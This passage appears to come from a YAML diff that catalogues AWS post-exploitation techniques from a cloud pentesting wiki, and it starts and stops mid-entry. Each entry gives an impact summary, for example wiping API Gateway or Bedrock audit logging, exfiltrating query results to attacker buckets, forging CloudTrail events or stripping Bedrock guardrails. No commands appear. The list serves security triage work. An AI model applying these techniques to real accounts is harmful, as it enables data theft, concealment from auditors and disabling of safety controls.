section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--silence-a-stages-logging-and-tracing + technique: '`apigateway:PATCH` (`UpdateStage`) — silence a stage''s logging and tracing' + reason: 'Documented impact: Removes the only record of API invocations — CloudTrail never sees the data plane + — so subsequent abuse of the API (token replay, injection, data pulls) leaves no trace on the API Gateway side. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-app-mesh-post-exploitation/README.md#appmeshupdateroute--redirect-matched-traffic-to-a-controlled-virtual-node + technique: '`appmesh:UpdateRoute` — redirect matched traffic to a controlled virtual node' + reason: 'Documented impact: Redirect or disrupt only the requests matched by the changed route or virtual service. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfiggethostedconfigurationversion--read-an-immutable-hosted-version + technique: '`appconfig:GetHostedConfigurationVersion` — read an immutable hosted version' + reason: 'Documented impact: Disclosure of credentials, endpoints, authorization rules, feature controls, customer + data, or other sensitive values stored in any readable hosted version, including an old version that is no longer + deployed. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfigcreatehostedconfigurationversion--poison-a-later-deployment + technique: '`appconfig:CreateHostedConfigurationVersion` — poison a later deployment' + reason: 'Documented impact: Delayed manipulation of feature/security controls, allowlists, endpoints, templates, + or consumer behavior. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfigstartdeployment--activate-or-roll-back-to-a-stored-version + technique: '`appconfig:StartDeployment` — activate or roll back to a stored version' + reason: 'Documented impact: Immediate rollback to vulnerable settings, reactivation of old credentials/endpoints, + disabling of a security feature, or activation of a dormant malicious version; the concrete impact is limited + by the selected version and... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#broaden-or-poison-a-flow-with-updateflow + technique: Broaden or poison a flow with `UpdateFlow` + reason: 'Documented impact: disclose a wider dataset to the existing destination, defeat field-level privacy controls, + corrupt downstream schemas/records and increase transfer frequency/cost. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-application-discovery-post-exploitation/README.md#discoverylistconfigurations--describeconfigurations--listserverneighbors---map-the-hybrid-estate + technique: '`discovery:ListConfigurations` / `DescribeConfigurations` / `ListServerNeighbors` - Map the hybrid + estate' + reason: This heading concerns reading or exporting data via `discovery:ListConfigurations` / `DescribeConfigurations` + / `ListServerNeighbors` - Map the hybrid e; it does not itself authorize a different AWS principal or execute + code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-application-discovery-post-exploitation/README.md#discoverystartexporttask--describeexporttasks---bulk-export-discovered-data-through-an-aws-managed-download-url + technique: '`discovery:StartExportTask` + `DescribeExportTasks` - Bulk-export discovered data through an AWS-managed + download URL' + reason: This heading concerns reading or exporting data via `discovery:StartExportTask` + `DescribeExportTasks` + - Bulk-export discovered data through an AWS-man; it does not itself authorize a different AWS principal or + execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamupdateimagepermissions--share-and-clone-a-private-golden-image-cross-account + technique: '`appstream:UpdateImagePermissions` — share and clone a private golden image cross-account' + reason: 'Documented impact: Cross-account disclosure and durable copying of a private golden image, including + proprietary applications, internal configuration, cached data, or credentials accidentally baked into the filesystem. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamcreateexportimagetask--iampassrole--turn-a-private-image-into-an-ec2-ami + technique: '`appstream:CreateExportImageTask` + `iam:PassRole` — turn a private image into an EC2 AMI' + reason: 'Documented impact: Materialize a private streaming golden image as an EC2 AMI, enabling offline or launched-instance + inspection of proprietary software, internal configuration, cached data, and accidentally baked credentials. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamupdatestack--re-enable-client-data-transfer-channels + technique: '`appstream:UpdateStack` — re-enable client data-transfer channels' + reason: 'Documented impact: Enable data ingress through clipboard/file upload and exfiltration through clipboard/file + download/local printing for current or future sessions on the stack. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-artifact-post-exploitation/README.md#artifactgettermforreport--artifactgetreport--download-confidential-compliance-reports + technique: '`artifact:GetTermForReport` + `artifact:GetReport` — download confidential compliance reports' + reason: 'Documented impact: Exfiltrate confidential AWS or third-party audit and compliance reports, including + attachments embedded in PDFs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdateworkgroup--redirect-query-results-to-an-attacker-bucket--strip-result-encryption + technique: '`athena:UpdateWorkGroup` — redirect query results to an attacker bucket / strip result encryption' + reason: 'Documented impact: Continuous exfiltration of the result sets of other users'' Athena queries in the + affected work group (and/or storage of results in the clear), without querying the underlying data yourself. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenacreateworkgroup--athenastartqueryexecution--read-governed-data-into-a-bucket-you-control + technique: '`athena:CreateWorkGroup` + `athena:StartQueryExecution` — read governed data into a bucket you control' + reason: 'Documented impact: Bulk exfiltration of any Glue/Lake-Formation table the caller''s role can query, written + to an attacker-controlled bucket. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-aurora-dsql-post-exploitation/README.md#dsqldbconnect--access-through-a-mapped-database-role + technique: '`dsql:DbConnect` — access through a mapped database role' + reason: 'Documented impact: authenticate through the IAM principal''s mapped PostgreSQL role and read or modify + every database object granted to that role. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-backup-post-exploitation/README.md#backupstartrestorejob--iampassrole--clone-protected-data + technique: '`backup:StartRestoreJob` + `iam:PassRole` — clone protected data' + reason: 'Documented impact: Read data the caller cannot access on the source resource by restoring a recovery + point into an attacker-named or attacker-readable target (e.g. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-backup-post-exploitation/README.md#backupputbackupvaultaccesspolicy--self-grant-recovery-point-operations + technique: '`backup:PutBackupVaultAccessPolicy` — self-grant recovery-point operations' + reason: 'Documented impact: Self-grant specific recovery-point operations (StartRestoreJob, DeleteRecoveryPoint, + GetRecoveryPointRestoreMetadata) through a vault resource policy with no identity-based grant — enabling data + recovery or destruction of backups. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-batch-data-disclosure-post-exploitation/README.md#batchdescribejobdefinitions--environment-disclosure + technique: '`batch:DescribeJobDefinitions` — environment disclosure' + reason: 'Documented impact: Disclosure of effective runtime commands, plaintext environment overrides, infrastructure + details, and any credentials incorrectly passed as literal values. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-batch-data-disclosure-post-exploitation/README.md#batchdescribejobs--read-per-run-commands-and-environment-overrides + technique: '`batch:DescribeJobs` — read per-run commands and environment overrides' + reason: 'Documented impact: Disclosure of effective runtime commands, plaintext environment overrides, infrastructure + details, and any credentials incorrectly passed as literal values. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrockupdateguardrail--strip-a-guardrails-policies-while-the-application-keeps-using-it + technique: '`bedrock:UpdateGuardrail` — strip a guardrail''s policies while the application keeps using it' + reason: 'Documented impact: Silent removal of the content-safety, denied-topic and PII-redaction controls protecting + every application that references the guardrail, while the guardrail keeps existing, keeps the same id and keeps + reporting READY. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrockdeletemodelinvocationloggingconfiguration--bedrockputmodelinvocationloggingconfiguration--blind-out-the-promptcompletion-audit-trail + technique: '`bedrock:DeleteModelInvocationLoggingConfiguration` | `bedrock:PutModelInvocationLoggingConfiguration` + — blind out the prompt/completion audit trail' + reason: 'Documented impact: Account- and Region-wide destruction of the only record of what was sent to and returned + by every Bedrock model — prompts, completions, embeddings and images — for every application in the Region, + with no effect on the... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimegetmediapipeline--recover-an-rtmp-publishing-key + technique: '`chime:GetMediaPipeline` — recover an RTMP publishing key' + reason: 'Documented impact: recover a third-party live-stream publishing credential and destination identifier. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-clean-rooms-post-exploitation/README.md#redirect-stored-sql-and-ml-output-destinations-with-passrole + technique: Redirect stored SQL and ML output destinations with `PassRole` + reason: 'Documented impact: Persistent capture of later protected-query/job results, trained-model artifacts, + or inference outputs in an attacker-readable S3 location. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-map-post-exploitation/README.md#servicediscoveryregisterinstance--blindly-overwrite-or-inject-a-backend + technique: '`servicediscovery:RegisterInstance` — blindly overwrite or inject a backend' + reason: The section documents the resource or service effect of `servicediscovery:RegisterInstance` — blindly + overwrite or inject a backend, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-map-post-exploitation/README.md#servicediscoveryupdateinstancecustomhealthstatus--remove-or-revive-a-backend + technique: '`servicediscovery:UpdateInstanceCustomHealthStatus` — remove or revive a backend' + reason: The section documents the resource or service effect of `servicediscovery:UpdateInstanceCustomHealthStatus` + — remove or revive a backend, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#describestacks-gettemplate-and-gettemplatesummary--secret-disclosure + technique: '`DescribeStacks`, `GetTemplate`, and `GetTemplateSummary` — secret disclosure' + reason: This heading concerns reading or exporting data via `DescribeStacks`, `GetTemplate`, and `GetTemplateSummary` + — secret disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#cloudformationlistexports--cross-stack-output-disclosure + technique: '`cloudformation:ListExports` — cross-stack output disclosure' + reason: This heading concerns reading or exporting data via `cloudformation:ListExports` — cross-stack output + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#cloudformationdescribechangeset--pending-parameter-disclosure + technique: '`cloudformation:DescribeChangeSet` — pending parameter disclosure' + reason: This heading concerns reading or exporting data via `cloudformation:DescribeChangeSet` — pending parameter + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfrontlistdistributions-cloudfrontgetdistribution-cloudfrontgetdistributionconfig--recover-origin-custom-headers + technique: '`cloudfront:ListDistributions`, `cloudfront:GetDistribution`, `cloudfront:GetDistributionConfig` — + Recover origin custom headers' + reason: 'Documented impact: Disclosure of origin shared secrets, internal origin names, and configuration that + can enable CDN/WAF bypass or direct backend access. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfront-keyvaluestoregetkey-cloudfront-keyvaluestorelistkeys--read-edge-configuration-values + technique: '`cloudfront-keyvaluestore:GetKey`, `cloudfront-keyvaluestore:ListKeys` — Read edge configuration values' + reason: 'Documented impact: Disclosure of protected edge configuration and any credentials, routing controls, + authorization data, or tenant values stored there. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfrontgetfunction--download-edge-function-source + technique: '`cloudfront:GetFunction` — Download edge-function source' + reason: 'Documented impact: Disclosure of proprietary edge code, security controls, internal routing logic, and + embedded secrets. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontdelete + technique: '`cloudfront:Delete*`' + reason: 'Documented impact: Irreversible destruction of the CDN layer: the distribution, its cache/origin-request/response-headers + policies, key groups, functions and origin access identities. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudtrail-data-access-post-exploitation/README.md#cloudtraillookupevents--read-account-activity-and-request-details + technique: '`cloudtrail:LookupEvents` — Read account activity and request details' + reason: 'Documented impact: Disclosure of security/audit events, identities, source IP addresses, resource identifiers, + and API request details. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudtrail-post-exploitation/README.md#cloudtrail-lake-channel-poisoning--forge-events-with-cloudtrail-dataputauditevents + technique: CloudTrail Lake channel poisoning — forge events with `cloudtrail-data:PutAuditEvents` + reason: 'Documented impact: Corruption of the integrity of the CloudTrail Lake investigation surface — false attribution, + fabricated timelines, and burial of real activity under attacker-generated noise, plus ingestion-cost inflation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logsgetlogevents-logsfilterlogevents--read-application-and-audit-logs + technique: '`logs:GetLogEvents`, `logs:FilterLogEvents` — Read application and audit logs' + reason: 'Documented impact: Disclosure of application data, credentials, tokens, PII, and security/audit events + retained in CloudWatch Logs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logsgetlogrecord-logsgetqueryresults--alternate-log-data-paths + technique: '`logs:GetLogRecord`, `logs:GetQueryResults` — alternate log-data paths' + reason: 'Documented impact: Retrieve complete log records or an existing query''s result rows without permission + to start a query, potentially disclosing credentials, session tokens, request bodies, PII, security events, + and other fields omitted from the... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#rumgetappmonitordata--read-browser-and-user-session-telemetry + technique: '`rum:GetAppMonitorData` — read browser and user-session telemetry' + reason: 'Documented impact: Bulk disclosure of retained browser and user-session telemetry, including stable user/session + identifiers, visited pages and referrers, client-side errors, HTTP metadata, device/browser attributes, location + fields, and... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logscreateexporttask--bulk-export-a-whole-log-groups-history-to-s3 + technique: '`logs:CreateExportTask` — bulk-export a whole log group''s history to S3' + reason: 'Documented impact: Exfiltration of a log group''s full retained history (credentials, tokens, PII, audit + trail) to an attacker-controlled (optionally cross-account) S3 bucket, without direct log-read permission. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchupdateintegration--rebind-an-external-integration + technique: '`cloudwatch:UpdateIntegration` — rebind an external integration' + reason: 'Documented impact: redirect or disrupt agent/provider traffic and any alert or asynchronous workflow + that trusts the modified integration; for a valid attacker-controlled provider account or workspace, future + integration activity can reach that... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchupdatealert--hijack-a-scheduled-query-and-its-notifications + technique: '`cloudwatch:UpdateAlert` — hijack a scheduled query and its notifications' + reason: 'Documented impact: suppress or redirect operational notifications, poison alert state with an attacker-selected + query/threshold, create false incidents, hide real incidents, and conditionally leak the alert notification''s + state/contributor... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchgetdashboard--dashboard-body-disclosure + technique: '**`cloudwatch:GetDashboard` — Dashboard-body disclosure**' + reason: 'Documented impact: Disclose dashboard widget configuration — Metrics Insights queries, alarm/resource + identifiers, account IDs, regions, operational URLs, runbooks and operator-pasted text — without modifying anything. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#oamcreatelink--telemetry-service-link-actions--expose-observability-data-cross-account + technique: '**`oam:CreateLink` + telemetry-service `Link` actions — expose observability data cross-account**' + reason: 'Documented impact: Continuous cross-account disclosure of selected logs, metrics, traces and application-observability + metadata to a monitoring account controlled by the attacker. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchtagresource-cloudwatchuntagresource + technique: '**`cloudwatch:TagResource`, `cloudwatch:UntagResource`**' + reason: 'Documented impact: Disruption of tag-based access control policies. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletealarmscloudwatchputmetricalarm--cloudwatchputcompositealarm + technique: '**`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**' + reason: 'Documented impact: Reconfigured alarms can raise false positives, hide real threshold breaches, or redirect + automated actions. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdisablealarmactions-cloudwatchenablealarmactions-cloudwatchsetalarmstate + technique: '**`cloudwatch:DisableAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**' + reason: 'Documented impact: Disabling actions suppresses notifications and remediation, while forced alarm states + can create distractions, misleading telemetry, or execution of a preconfigured privileged alarm action. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeleteanomalydetector-cloudwatchputanomalydetector + technique: '**`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**' + reason: 'Documented impact: Direct effect in the detection of unusual patterns or security threats. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletedashboards-cloudwatchputdashboard + technique: '**`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**' + reason: 'Documented impact: Loss of monitoring visibility and misleading information. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeleteinsightrules-cloudwatchputinsightrule-cloudwatchputmanagedinsightrules + technique: '**`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRules`**' + reason: 'Documented impact: Difficulty to detect and respond to performance issues and anomalies, misinformed + decision-making and potentially hiding malicious activities or system failures. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdisableinsightrules-cloudwatchenableinsightrules + technique: '**`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**' + reason: 'Documented impact: Confusion among the operations team, leading to delayed responses to actual issues + and unnecessary actions based on false alerts. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletemetricstream--cloudwatchputmetricstream--cloudwatchputmetricdata + technique: '**`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**' + reason: 'Documented impact: Disruption in the flow of monitoring data, impacting the detection of anomalies and + incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchstopmetricstreams-cloudwatchstartmetricstreams + technique: '**`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**' + reason: 'Documented impact: Disruption in the flow of monitoring data, impacting the detection of anomalies and + incidents. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#observabilityadminupdatetelemetrypipeline--erase-or-rewrite-telemetry-before-storage + technique: '**`observabilityadmin:UpdateTelemetryPipeline` — erase or rewrite telemetry before storage**' + reason: 'Documented impact: Loss or falsification of security, application, and operational telemetry before responders, + alarms, queries, and retention controls receive it. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#oamupdatelink--oamdeletelink--widen-disclosure-or-blind-central-monitoring + technique: '**`oam:UpdateLink` / `oam:DeleteLink` — widen disclosure or blind central monitoring**' + reason: 'Documented impact: Expansion exposes previously filtered telemetry to the monitoring account; narrowing + or deletion creates a cross-account monitoring blind spot for incident response, operations and detection pipelines. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeartifact-auth-token-post-exploitation/README.md#codeartifactgetauthorizationtoken-stsgetservicebearertoken + technique: '`codeartifact:GetAuthorizationToken`, `sts:GetServiceBearerToken`' + reason: 'Documented impact: Read or publish access to authorized package repositories, which can expose private + packages or enable dependency poisoning when write access is also granted. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeartifact-post-exploitation/README.md#codeartifactgetpackageversionasset--direct-asset-download + technique: '`codeartifact:GetPackageVersionAsset` — direct asset download' + reason: 'Documented impact: Download a known private package asset, which may expose source code, compiled artifacts, + build configuration, or embedded credentials. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuildupdateproject-project-tags + technique: '`codebuild:UpdateProject` (project tags)' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuildupdateprojectvisibility--expose-a-private-projects-builds-to-the-internet + technique: '`codebuild:UpdateProjectVisibility` — expose a private project''s builds to the internet' + reason: 'Documented impact: Unauthenticated Internet disclosure of a private CodeBuild project''s build logs, + environment configuration, and artifacts — commonly leaking secrets, credentials, and source — via a single + management call. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuilddeleteproject + technique: '`codebuild:DeleteProject`' + reason: 'Documented impact: Loss of project configuration and service disruption for applications using the deleted + project. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md#codebuilddeletesourcecredentials + technique: '`codebuild:DeleteSourceCredentials`' + reason: 'Documented impact: Disruption of normal functioning for applications relying on the affected repository + due to the removal of source credentials. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codecommit-source-access-post-exploitation/README.md#codecommitgetfile-codecommitgetblob-codecommitgetcommit--read-targeted-repository-data + technique: '`codecommit:GetFile`, `codecommit:GetBlob`, `codecommit:GetCommit` — Read targeted repository data' + reason: 'Documented impact: Disclosure of private source files, embedded credentials, commit messages, repository + history metadata, and contributor PII. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codecommit-source-access-post-exploitation/README.md#codecommitgitpull--clone-private-repository-contents + technique: '`codecommit:GitPull` — Clone private repository contents' + reason: 'Documented impact: Disclosure of private source code, complete Git history, and credentials committed + now or in the past. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeguru-profiler-post-exploitation/README.md#codeguru-profilergetprofile--extract-private-code-structure-and-execution-paths + technique: '`codeguru-profiler:GetProfile` — extract private code structure and execution paths' + reason: 'Documented impact: Disclosure of private application structure and execution flows that can accelerate + source-informed exploitation, identify high-value handlers and reveal performance-sensitive or rarely exercised + paths. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeguru-profiler-post-exploitation/README.md#codeguru-profilerpostagentprofile--poison-aggregated-profiles-and-findings + technique: '`codeguru-profiler:PostAgentProfile` — poison aggregated profiles and findings' + reason: 'Documented impact: Integrity loss in performance profiles, recommendations and anomaly signals, potentially + concealing real activity or sending responders toward fabricated code paths. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetpipeline-codepipelinegetpipelineexecution--read-default-and-resolved-variables + technique: '`codepipeline:GetPipeline`, `codepipeline:GetPipelineExecution` — read default and resolved variables' + reason: 'Documented impact: Disclosure of pipeline/action configuration, plaintext variable defaults, and resolved + per-execution values. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinelistactionexecutions--read-resolved-action-configuration-and-output-variables + technique: '`codepipeline:ListActionExecutions` — read resolved action configuration and output variables' + reason: 'Documented impact: Disclosure of resolved provider parameters, artifact locations, build/deploy outputs, + and credentials or application secrets emitted as literal output variables. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idplistusers--cognito-idpadmingetuser--exfiltrate-the-user-directory + technique: '`cognito-idp:ListUsers` | `cognito-idp:AdminGetUser` — exfiltrate the user directory' + reason: 'Documented impact: Full disclosure of the application''s user directory — e-mail addresses, phone numbers, + verification state, group membership and custom authorization attributes — usable directly as a phishing target + list and as reconnaissance... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpsetlogdeliveryconfiguration--blind-wipe-the-user-pools-log-delivery + technique: '`cognito-idp:SetLogDeliveryConfiguration` — blind-wipe the user pool''s log delivery' + reason: 'Documented impact: Blinds the user pool''s own security telemetry — failed sign-ins, threat-protection + events and notification failures are no longer delivered anywhere — without touching CloudTrail, so the account + still looks fully instrumented. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpadminuserglobalsignout--cognito-idpadmindisableuser--lock-the-users-out + technique: '`cognito-idp:AdminUserGlobalSignOut` | `cognito-idp:AdminDisableUser` — lock the users out' + reason: 'Documented impact: Denial of service against the application''s entire user base — all sessions terminated + and, with AdminDisableUser, sign-in blocked until each account is re-enabled one by one. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: 